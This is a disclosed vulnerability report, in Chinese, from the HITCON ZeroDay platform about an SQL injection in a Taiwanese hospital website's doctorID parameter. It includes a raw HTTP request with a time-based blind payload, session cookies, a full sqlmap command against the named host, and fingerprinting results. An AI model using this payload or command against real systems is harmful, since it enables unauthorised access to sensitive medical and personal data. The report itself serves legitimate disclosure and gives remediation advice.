Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00926
- Vendor: 衛生福利部
- Title: 中壢天祥醫院網站 SQL Injection
- Introduction: TCtoTH.php 的 doctorID 參數未過濾即帶入 SQL 查詢,存在 SQL Injection 漏洞。
處理狀態
目前狀態
公開
Last Update : 2026/08/13
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/07/16 14:17:56 : 新提交 (由 Bun_. 更新此狀態)
- 2026/07/16 14:18:38 : 新提交 (由 Bun_. 更新此狀態)
- 2026/07/20 11:33:21 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:49:05 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:49:05 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 17:17:03 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/13 03:00:29 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00926
- 通報者:Superliverbun (Bun_.)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.tcmg.com.tw/TCtoTH.php?doctorID=0311
敘述
中壢天祥醫院網站的 TCtoTH.php,其 GET 參數 doctorID 未經過濾即帶入後端 SQL 查詢,存在 SQL Injection 漏洞。
使用 sqlmap 對 doctorID 參數進行注入測試:
req100.txt
GET /TCtoTH.php?doctorID=0311*if(now()=sysdate()%2Csleep(6)%2C0)&id=3 HTTP/1.1
Host: www.tcmg.com.tw
Cookie: PHPSESSID=bhvcou0rjs5tuou99ogdibut42; 15fc124f1222193400b6ef065b2d249e=ae2ab8510990af8af31875b24b033183
sqlmap -r req100.txt --dbms=mysql --technique=T --level=5 --risk=3 --time-sec=10 --batch --force-ssl --tamper=space2comment --is-dba
確認注入成立:
- Time-based blind(MySQL SLEEP)
- 當前使用者:ct_gott_ym@localhost(current user is DBA: False,非 DBA)
- 後端 DBMS:MySQL(MariaDB fork)
- 應用技術:PHP 7.0.0/Apache 2.4.18
修補建議
1. 所有 SQL 查詢改用參數化查詢(Prepared Statements),勿將使用者輸入直接拼接進 SQL 語句。
2. 對 doctorID、id 等參數進行型別與格式驗證。
3. 檢視 WAF/IPS 規則,強化對 SQL Injection 變形(如註解繞過)之偵測能力,惟 WAF 僅為緩解措施,根本解仍須修正程式碼。
4. 遵循最小權限原則,確認網頁應用資料庫帳號僅具備必要之最小權限。
5. 全面盤點站台其他頁面是否存在相同問題。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。